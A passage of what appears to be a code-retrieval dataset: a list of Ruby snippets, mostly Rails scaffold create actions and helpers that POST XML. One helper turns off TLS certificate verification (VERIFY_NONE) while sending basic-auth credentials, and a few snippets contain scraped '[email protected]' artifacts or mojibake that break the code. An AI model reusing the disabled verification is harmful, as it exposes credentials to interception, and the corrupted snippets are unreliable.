@agencium, notice: 'Agencium was successfully created.' }\n format.json { render :show, status: :created, location: @agencium }\n else\n format.html { render :new }\n format.json { render json: @agencium.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n @arrendamientosprorroga = Arrendamientosprorroga.new(params[:arrendamientosprorroga])\n\n respond_to do |format|\n if @arrendamientosprorroga.save\n format.html { redirect_to(@arrendamientosprorroga, :notice => 'Arrendamientosprorroga was successfully created.') }\n format.xml { render :xml => @arrendamientosprorroga, :status => :created, :location => @arrendamientosprorroga }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @arrendamientosprorroga.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end", "def create\n @acre = Acre.new(params[:acre])\n\n respond_to do |format|\n if @acre.save\n format.html { redirect_to(acres_path, :notice => 'Acre was successfully created.') }\n format.xml { render :xml => @acre, :status => :created, :location => @acre }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @acre.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end", "def create\n @relatestagiario = Relatestagiario.new(params[:relatestagiario])\n\n respond_to do |format|\n if @relatestagiario.save\n flash[:notice] = 'RELATÓRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@relatestagiario) }\n format.xml { render :xml => @relatestagiario, :status => :created, :location => @relatestagiario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relatestagiario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @agenda_reserv_resource = Agenda::ReservResource.new(agenda_reserv_resource_params)\n if @agenda_reserv_resource.save\n flash[:success] = t('notices.saved_successfully')\n index\n end\n\n end", "def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend", "def create\n @frequencia_orgao = Frequencia::Orgao.new(params[:frequencia_orgao])\n\n respond_to do |format|\n if @frequencia_orgao.save\n format.html { redirect_to(@frequencia_orgao, :notice => 'Orgão criado com sucesso.') }\n format.xml { render :xml => @frequencia_orgao, :status => :created, :location => @frequencia_orgao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @frequencia_orgao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @resultadoconsultum = Resultadoconsultum.new(resultadoconsultum_params)\n\t\n\n\trequire 'nokogiri'\n\t\n\t@doc = Nokogiri::XML(File.open(\"exemplos/emplo.xml\"))\n\n\tcar_tires = @doc.xpath(\"//firstname\")\n\t\n\tdoc = Nokogiri::XML(File.open(\"emplo.xml\"))\n\tdoc.xpath('firstname').each do\n\t\tcar_tires\n\tend\n\n\t \n respond_to do |format|\n if @resultadoconsultum.save\n format.html { redirect_to @resultadoconsultum, notice: car_tires }\n format.json { render :show, status: :created, location: @resultadoconsultum }\n else\n format.html { render :new }\n format.json { render json: @resultadoconsultum.errors, status: :unprocessable_entity }\n end\n end\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def postEntityAdvertiserUpsell( entity_id, tags, locations, extra_tags, extra_locations, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['extra_tags'] = extra_tags\n params['extra_locations'] = extra_locations\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/upsell\",params)\n end", "def create\n @adjunto = Adjunto.new(params[:adjunto])\n\n respond_to do |format|\n if @adjunto.save\n format.html { redirect_to(@adjunto, :notice => 'Adjunto was successfully created.') }\n format.xml { render :xml => @adjunto, :status => :created, :location => @adjunto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adjunto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t tags = params[:tags].gsub(\" \",\"\").split(\",\")\n @vaga = Vaga.new(params[:vaga])\n\n\t empresa = Empresa.find(session[:user_id])\n\t empresa.nome_empresa = params[:empresa] if params[:empresa]\n\t empresa.save\n\t @vaga.empresa = empresa\n respond_to do |format|\n if @vaga.save\n\t\t @vaga.create_tags(tags)\n format.html { redirect_to(@vaga, :notice => 'Vaga was successfully created.') }\n format.xml { render :xml => @vaga, :status => :created, :location => @vaga }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vaga.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @atividade_avaliacao = AtividadeAvaliacao.new(params[:atividade_avaliacao])\n\n respond_to do |format|\n if @atividade_avaliacao.save\n flash[:notice] = 'AtividadeAvaliacao was successfully created.'\n format.html { redirect_to(@atividade_avaliacao) }\n format.xml { render :xml => @atividade_avaliacao, :status => :created, :location => @atividade_avaliacao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @atividade_avaliacao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def agencium_params\n params.require(:agencium).permit(:nombre, :mail, :contraseĮņa)\n end", "def create\n @estagio = Estagio.new(params[:estagio])\n\n respond_to do |format|\n if @estagio.save\n flash[:notice] = 'Estagio was successfully created.'\n format.html { redirect_to(@estagio) }\n format.xml { render :xml => @estagio, :status => :created, :location => @estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @estagiarios = Estagiario.new(params[:estagiario])\n\n respond_to do |format|\n if @estagiarios.save\n flash[:notice] = 'ESTAGIÁRIO CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { render :xml => @estagiarios, :status => :created, :location => @estagiarios }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/creditaccount/v1\")\n end", "def new\n @arrendamientosprorroga = Arrendamientosprorroga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arrendamientosprorroga }\n end\n end", "def create\n @retirada = Retirada.new(params[:retirada])\n\n respond_to do |format|\n if @retirada.save\n flash[:notice] = 'Retirada incluida com sucesso.'\n format.html { redirect_to(@retirada) }\n format.xml { render :xml => @retirada, :status => :created, :location => @retirada }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @retirada.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @correspondenciasasignada = Correspondenciasasignada.new(params[:correspondenciasasignada])\n\n respond_to do |format|\n if @correspondenciasasignada.save\n flash[:notice] = 'Correspondenciasasignada was successfully created.'\n format.html { redirect_to(@correspondenciasasignada) }\n format.xml { render :xml => @correspondenciasasignada, :status => :created, :location => @correspondenciasasignada }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @correspondenciasasignada.errors, :status => :unprocessable_entity }\n end\n end\n end", "def postProductProvisioningAdvert( product_id, publisher_id, max_tags, max_locations)\n params = Hash.new\n params['product_id'] = product_id\n params['publisher_id'] = publisher_id\n params['max_tags'] = max_tags\n params['max_locations'] = max_locations\n return doCurl(\"post\",\"/product/provisioning/advert\",params)\n end", "def create\n @aggrupation = Aggrupation.new(aggrupation_params)\n\n respond_to do |format|\n if @aggrupation.save\n format.html { redirect_to @aggrupation, notice: 'Aggrupation was successfully created.' }\n format.json { render :show, status: :created, location: @aggrupation }\n else\n format.html { render :new }\n format.json { render json: @aggrupation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def create\n @relatorio_pedagogicos = RelatorioPedagogico.all\n authorize @relatorio_pedagogicos\n\n @relatorio_pedagogico = RelatorioPedagogico.new(relatorio_pedagogico_params)\n\n respond_to do |format|\n if @relatorio_pedagogico.save\n format.html { redirect_to @relatorio_pedagogico, notice: 'Relatório pedagógico criado com sucesso!' }\n format.json { render :show, status: :created, location: @relatorio_pedagogico }\n else\n format.html { render :new }\n format.json { render json: @relatorio_pedagogico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ingredience = Ingredience.new(params[:ingredience])\n respond_to do |format|\n if @ingredience.save\n flash[:notice] = 'Ingredience was successfully created.'\n #format.html { redirect_to(@ingredience) }\n format.xml { render :xml => @ingredience, :status => :created, :location => @ingredience }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ingredience.errors, :status => :unprocessable_entity }\n end\n end\n end", "def postEntityAdvertiserRenew( entity_id, expiry_date, publisher_id, reseller_ref, reseller_agent_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['expiry_date'] = expiry_date\n params['publisher_id'] = publisher_id\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n return doCurl(\"post\",\"/entity/advertiser/renew\",params)\n end", "def create\n @res_allocation = ResAllocation.new(params[:res_allocation])\n\n respond_to do |format|\n if @res_allocation.save\n format.html { redirect_to @res_allocation, notice: 'Res allocation was successfully created.' }\n format.json { render json: @res_allocation, status: :created, location: @res_allocation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @res_allocation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estatu = Estatu.new(params[:estatu])\n\n respond_to do |format|\n if @estatu.save\n format.html { redirect_to(@estatu, :notice => 'Registro creado correctamente.') }\n format.xml { render :xml => @estatu, :status => :created, :location => @estatu }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estatu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n respond_to do |format|\n @asset_tag = AssetTag.new(asset_tag_params)\n puts @asset_tag.inspect\n\n if @asset_tag.save(validate: false)\n format.html { redirect_to @asset_tag, notice: 'Asset tag was successfully created.' }\n format.json { render :show, status: :created, location: @asset_tag }\n AssetTag.reindex\n else\n format.html { render :new }\n format.json { render json: @asset_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @resveration = Resveration.new(resveration_params)\n\n respond_to do |format|\n if @resveration.save\n format.html { redirect_to @resveration, notice: 'Resveration was successfully created.' }\n format.json { render :show, status: :created, location: @resveration }\n else\n format.html { render :new }\n format.json { render json: @resveration.errors, status: :unprocessable_entity }\n end\n end\n end", "def tag!(params = {})\n self.post params, edge: :tags\n end", "def create\n @entradas = Entrada.new(params[:entrada])\n\n respond_to do |format|\n if @entradas.save\n flash[:notice] = 'LANÇAMENTO ENTRADA EFETUADO'\n format.html { redirect_to(homes_path) }\n format.xml { render :xml => @entradas, :status => :created, :location => @entradas }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entradas.errors, :status => :unprocessable_entity }\n end\n end\n end", "def hastag_params\n params.require(:hastag).permit(:etiqueta, :intencion)\n end", "def create\n @paciente = Paciente.find(params[:paciente_id])\n @visita = Visita.new(params[:visita])\n @visita.paciente = @paciente\n\n respond_to do |format|\n if @visita.save\n format.html { redirect_to(paciente_visitas_url, :notice => 'La Visita se creo exitosamente.') }\n format.xml { render :xml => @visita, :status => :created, :location => @visita }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @visita.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @reputacao_carona = ReputacaoCarona.new(params[:reputacao_carona])\n\n respond_to do |format|\n if @reputacao_carona.save\n format.html { redirect_to(@reputacao_carona, :notice => 'Voce reputou o carona com sucesso!') }\n format.xml { render :xml => @reputacao_carona, :status => :created, :location => @reputacao_carona }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reputacao_carona.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ventas_agrupador_cliente = Ventas::AgrupadorCliente.new(ventas_agrupador_cliente_params)\n\n respond_to do |format|\n if @ventas_agrupador_cliente.save\n format.html { redirect_to @ventas_agrupador_cliente, notice: 'Agrupador cliente was successfully created.' }\n format.json { render :show, status: :created, location: @ventas_agrupador_cliente }\n else\n format.html { render :new }\n format.json { render json: @ventas_agrupador_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ventas_agrupador_cliente = Ventas::AgrupadorCliente.new(ventas_agrupador_cliente_params)\n\n respond_to do |format|\n if @ventas_agrupador_cliente.save\n format.html { redirect_to @ventas_agrupador_cliente, notice: 'Agrupador cliente was successfully created.' }\n format.json { render :show, status: :created, location: @ventas_agrupador_cliente }\n else\n format.html { render :new }\n format.json { render json: @ventas_agrupador_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @eintrag = Eintrag.new(eintrag_params)\n\n respond_to do |format|\n if @eintrag.save\n format.html { redirect_to @eintrag, notice: 'Eintrag was successfully created.' }\n format.json { render :show, status: :created, location: @eintrag }\n else\n format.html { render :new }\n format.json { render json: @eintrag.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tag_ref = TagRef.new(tag_ref_params)\n @article = Article.find(params[:article])\n\n respond_to do |format|\n if @tag_ref.save\n format.html {redirect_to article_tags_article_path(@article), notice: 'Dodano Tag do artykułu.' }\n format.json { render :show, status: :created, location: @tag_ref }\n else\n format.html { render :new }\n format.json { render json: @tag_ref.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @agencia = Agencium.all\n end", "def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end", "def create\n @agente = Agente.new(agente_params)\n @agente.estado_agente_id = 1\n\n respond_to do |format|\n [email protected]\n format.html { redirect_to new_agente_dato_laboral_path(@agente), notice: 'El agente fué creado exitosamente.' }\n format.json { render :show, status: :created, locatin: @agente }\n else\n cargar_datos_estaticos\n format.html { render :new }\n format.json { render json: @agente.errors, status: :unprocessble_entity }\n end\n end\n end", "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def create\n @frequencia_setor = Frequencia::Setor.new(params[:frequencia_setor])\n\n respond_to do |format|\n if @frequencia_setor.save\n format.html { redirect_to(@frequencia_setor, :notice => 'Setor salvo com sucesso.') }\n format.xml { render :xml => @frequencia_setor, :status => :created, :location => @frequencia_setor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @frequencia_setor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @gene_ontology = GeneOntology.new(params[:gene_ontology])\n\n respond_to do |format|\n if @gene_ontology.save\n format.html { redirect_to(@gene_ontology, :notice => 'Gene ontology was successfully created.') }\n format.xml { render :xml => @gene_ontology, :status => :created, :location => @gene_ontology }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @gene_ontology.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @reputacao_veiculo = ReputacaoVeiculo.new(params[:reputacao_veiculo])\n\n respond_to do |format|\n if @reputacao_veiculo.save\n format.html { redirect_to(@reputacao_veiculo, :notice => 'Voce reputou o veiculo com sucesso.') }\n format.xml { render :xml => @reputacao_veiculo, :status => :created, :location => @reputacao_veiculo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reputacao_veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = session[:user_id]\n\n respond_to do |format|\n if @reservation.save\n format.xml { render :xml => @reservation, :status => :created, :location => @reservation, :include => :image }\n format.any { render :json => @reservation, :status => :created, :location => @reservation, :include => :image }\n else\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n format.any { render :json => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/bankingaccount/v1\")\n end", "def create\n @asistencia = Asistencia.new(params[:asistencia])\n\n respond_to do |format|\n if @asistencia.save\n format.html { redirect_to(@asistencia, :notice => 'Asistencia fue creado exitosamente.') }\n format.xml { render :xml => @asistencia, :status => :created, :location => @asistencia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asistencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @regiaos = Regiao.new(params[:regiao])\n\n respond_to do |format|\n if @regiaos.save\n flash[:notice] = 'REGIÃO SALVA COM SUCESSO'\n format.html { redirect_to(new_regiao_path)}\n format.xml { render :xml => @regiaos, :status => :created, :location => @regiaos }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @regiaos.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @agente = Agente.new(params[:agente])\n\n respond_to do |format|\n if @agente.save\n format.html { redirect_to @agente, notice: 'Agente se ha creado con éxito.' }\n format.json { render json: @agente, status: :created, location: @agente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n organizer_id = params[:organizer_id] unless params[:organizer_id].blank?\n @regattum = Regattum.new(regattum_params)\n @regattum.organizer_id = organizer_id unless organizer_id.blank?\n respond_to do |format|\n if @regattum.save\n format.html { redirect_to @regattum, notice: 'Regattan har skapats' }\n format.json { render :show, status: :created, location: @regattum }\n else\n format.html { render :new }\n format.json { render json: @regattum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asociacion = Asociacion.new(asociacion_params)\n\n respond_to do |format|\n if @asociacion.save\n format.html { redirect_to @asociacion, notice: 'Asociacion was successfully created.' }\n format.json { render :show, status: :created, location: @asociacion }\n else\n format.html { render :new }\n format.json { render json: @asociacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def postAssociation( association_id, association_name, association_url, filedata)\n params = Hash.new\n params['association_id'] = association_id\n params['association_name'] = association_name\n params['association_url'] = association_url\n params['filedata'] = filedata\n return doCurl(\"post\",\"/association\",params)\n end", "def create\n @association = Association.new(params[:association])\n\n respond_to do |format|\n if @association.save\n flash[:notice] = 'Association was successfully created.'\n format.html { redirect_to(@association) }\n format.xml { render :xml => @association, :status => :created, :location => @association }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @association.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @reserva_aceitum = ReservaAceitum.new(reserva_aceitum_params)\n\n respond_to do |format|\n if @reserva_aceitum.save\n format.html { redirect_to @reserva_aceitum, notice: 'Reserva aceitum was successfully created.' }\n format.json { render :show, status: :created, location: @reserva_aceitum }\n else\n format.html { render :new }\n format.json { render json: @reserva_aceitum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game = Game.find(params[:game_id])\n @game.authorships.create_from_names(params[:authorship])\n respond_to do |format|\n flash[:notice] = 'Les autheurs sont enregistres'\n format.html { redirect_to game_path(@game) }\n format.xml { head :created, :location => authorship_url(@authorship) }\n end\n end", "def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end", "def create\n @bg = Bg.first\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n #flash[:notice] = 'Réservation valide.'\n format.html { redirect_to(@reservation) }\n format.xml { render :xml => @reservation, :status => :created, :location => @reservation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_crm_account_from_lead\n doc = Hpricot::XML(request.raw_post)\n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc) \n id = parse_xml(doc/:params/'id')\n account_doc = Crm::CrmLeadCrud.generate_xml_for_account(doc) \n @accounts=Crm::CrmLeadCrud.create_account_from_lead(account_doc,id)\n account = @accounts.first if [email protected]?\n if account.errors.empty?\n render:text=>'success'\n else\n respond_to_errors(account.errors)\n end\n end", "def create\n @plan_quirurgico = PlanQuirurgico.new(plan_quirurgico_params)\n @plan_quirurgico.servicios = params[:servicios]\n @plan_quirurgico.estatus = \"En Proceso\"\n puts params\n puts @plan_quirurgico.examen \n respond_to do |format|\n if @plan_quirurgico.save\n format.html { redirect_to @plan_quirurgico, notice: 'El plan quirurgico fue registrado exitosamente.' }\n format.json { render :show, status: :created, location: @plan_quirurgico }\n else\n format.html { render :new }\n format.json { render json: @plan_quirurgico.errors, status: :unprocessable_entity }\n end\n end\n end", "def analyse\n begin\n response = resource[\"/analyse/#{app}\"].post(nil)\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "def create\n @vigencia = Vigencia.new(params[:vigencia])\n\n respond_to do |format|\n if @vigencia.save\n format.html { redirect_to(@vigencia, :notice => 'Vigencia was successfully created.') }\n format.xml { render :xml => @vigencia, :status => :created, :location => @vigencia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vigencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @situacoes_juridica = SituacoesJuridica.new(params[:situacoes_juridica])\n\n respond_to do |format|\n if @situacoes_juridica.save\n format.html { redirect_to(@situacoes_juridica, :notice => 'Situação jurídica cadastrada com sucesso.') }\n format.xml { render :xml => @situacoes_juridica, :status => :created, :location => @situacoes_juridica }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @situacoes_juridica.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @regraponto = Regraponto.new(regraponto_params)\n\n respond_to do |format|\n if @regraponto.save\n format.html { redirect_to @regraponto, notice: 'Regraponto was successfully created.' }\n format.json { render :show, status: :created, location: @regraponto }\n else\n format.html { render :new }\n format.json { render json: @regraponto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @aplicacion = Aplicacion.new(params[:aplicacion])\n\n respond_to do |format|\n if @aplicacion.save\n format.html { redirect_to(@aplicacion, :notice => 'Aplicacion was successfully created.') }\n format.xml { render :xml => @aplicacion, :status => :created, :location => @aplicacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aplicacion.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tag = Tag.new(params[:tag])\n\n respond_to do |format|\n @tag.ocurrencias = contador(@tag.descripcion)\n if @tag.save \n mensaje='Palabra clave creada correctamente: <strong>'[email protected]_s+'</strong> ocurrencias.<br/>'\n mensaje+='¡Se necesita actualizar la Base de Datos!'\n flash[:notice] = mensaje\n \n format.html { redirect_to(new_admin_tag_url) }\n format.xml { render :xml => @tag, :status => :created, :location => @tag }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.build(params[:absence_request])\n\n respond_to do |format|\n if @absence_request.save\n format.html { redirect_to taskrequest_process_step_url(@step.taskrequest), :notice => 'Aanvraag Afwezigheid was succesvol verstuurd.' }\n format.xml { render :xml => @absence_request, :status => :created, :location => @absence_request }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_from_xml(xml, pares)\n raise PaResMissing.new \"(2500) PaRes argument can not be omitted.\" if pares.nil?\n @request_xml = REXML::Document.new xml\n REXML::XPath.first(@request_xml, \"//ThreeDSecure\").add_element(\"PaRes\").text=pares\n end", "def create\n @avance = Avance.new(params[:avance])\n\n respond_to do |format|\n if @avance.save\n format.html { redirect_to(@avance, :notice => 'Avance was successfully created.') }\n format.xml { render :xml => @avance, :status => :created, :location => @avance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @avance.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @rebateable = find_rebateable\n @rebate = @rebateable.rebates.build(params[:rebate])\n @sector_names = params[:sector_names] || []\n @industry_names = params[:industry_names] || []\n @rebate.tag_names = @sector_names.join(',') + \",\" + @industry_names.join(',')\n\n respond_to do |format|\n if @rebate.save\n format.html { redirect_to :id => nil }\n format.json { render json: @rebate, status: :created, location: @rebate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rebate.errors, status: :unprocessable_entity }\n end\n end\n end", "def post\n resource.post(request, response)\n end", "def create\n @tipo_agressor = TipoAgressor.new(tipo_agressor_params)\n\n respond_to do |format|\n if @tipo_agressor.save\n format.html { redirect_to @tipo_agressor, notice: @@msgs }\n format.json { render :show, status: :created, location: @tipo_agressor }\n else\n format.html { render :new }\n format.json { render json: @tipo_agressor.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "def create\n @atividade = Atividade.new(params[:atividade])\n\n respond_to do |format|\n if @atividade.save\n flash[:notice] = 'Atividade was successfully created.'\n format.html { redirect_to(@atividade) }\n format.xml { render :xml => @atividade, :status => :created, :location => @atividade }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @atividade.errors, :status => :unprocessable_entity }\n end\n end\n end", "def tipo_agressor_params\n params.require(:tipo_agressor).permit(:descricao)\n end", "def create\n @aseguradora = Aseguradora.new(aseguradora_params)\n\n respond_to do |format|\n if @aseguradora.save\n format.html { redirect_to backoffice_aseguradoras_path, notice: 'Aseguradora creado con exito.' }\n format.json { render :show, status: :created, location: @aseguradora }\n else\n format.html { render :new }\n format.json { render json: @aseguradora.errors, status: :unprocessable_entity }\n end\n end\n end", "def aggrupation_params\n params.require(:aggrupation).permit(:agrupacion_id, :tipo_id, :nombre_agrupacion, :display_agrupacion)\n end", "def to_xml\n response\n end", "def create\n @orc_empenho_iten = OrcEmpenhoIten.new(params[:orc_empenho_iten])\n\n respond_to do |format|\n if @orc_empenho_iten.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_empenho_iten) }\n format.xml { render :xml => @orc_empenho_iten, :status => :created, :location => @orc_empenho_iten }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @orc_empenho_iten.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @rest_service = RestService.new\n params[:annotations] = { }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rest_service }\n end\n end", "def create\n @arrendimientospago = Arrendimientospago.new(params[:arrendimientospago])\n\n respond_to do |format|\n if @arrendimientospago.save\n format.html { redirect_to(@arrendimientospago, :notice => 'Arrendimientospago was successfully created.') }\n format.xml { render :xml => @arrendimientospago, :status => :created, :location => @arrendimientospago }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @arrendimientospago.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end" ]
